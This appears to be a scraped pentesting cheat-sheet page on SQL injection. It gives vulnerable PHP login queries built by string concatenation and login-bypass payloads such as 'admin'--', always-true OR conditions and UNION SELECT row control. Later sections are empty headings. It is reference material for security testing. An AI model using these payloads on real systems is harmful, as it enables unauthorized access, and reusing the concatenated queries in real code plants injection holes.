githubEdit

syringeSQL Injection

PayloadsAllTheThings
circle-info

Always test both " and '

Play also with LIMIT to spot changes on the response that you may not see otherwise:
' or 1=1 limit 0,1-- -
chevron-rightAuthentication Methodshashtag
circle-info

Direct Username/Password Query

PHP Example
$query = "SELECT * FROM users WHERE username='$user' AND password='$pass'";

Both parameters are directly concatenated without sanitization. In this case is possible to use a classic OR injection to make condition always true:

Comment out password check
admin'--
Always true condition
' OR '1'='1'--
' or 1=1-- -
" or "1"="1

Sometimes the password field may appear before the username. To determine the structure, use brackets:

"))--
circle-info

Row Count Validation

PHP Example
$result = mysqli_query($conn, "SELECT * FROM users WHERE username='$user' AND password='$pass'");
if(mysqli_num_rows($result) == 1) { /* login */ }

Use UNION to control row count or manipulate the condition:

If you need exactly one row
admin' UNION SELECT 1,2,3--
circle-info

Username First, Then Password Check

PHP Example
$query = "SELECT password FROM users WHERE username='$user'";

Focus on username parameter, password validation happens later

Bypass to get the hash
admin'--
chevron-rightBlind SQLhashtag
chevron-rightDetermine how many columns are in the queryhashtag
circle-info

ORDER BY

circle-info

UNION

circle-info

You can also use GROUP_CONCAT as an alternative to LIMIT, especially when you don’t want to retrieve each row individually but rather aggregate all the data from one or more columns in one query:

circle-info
chevron-rightEnumerate the Databasehashtag
circle-info

Privileges

chevron-rightFile Injectionhashtag

Last updated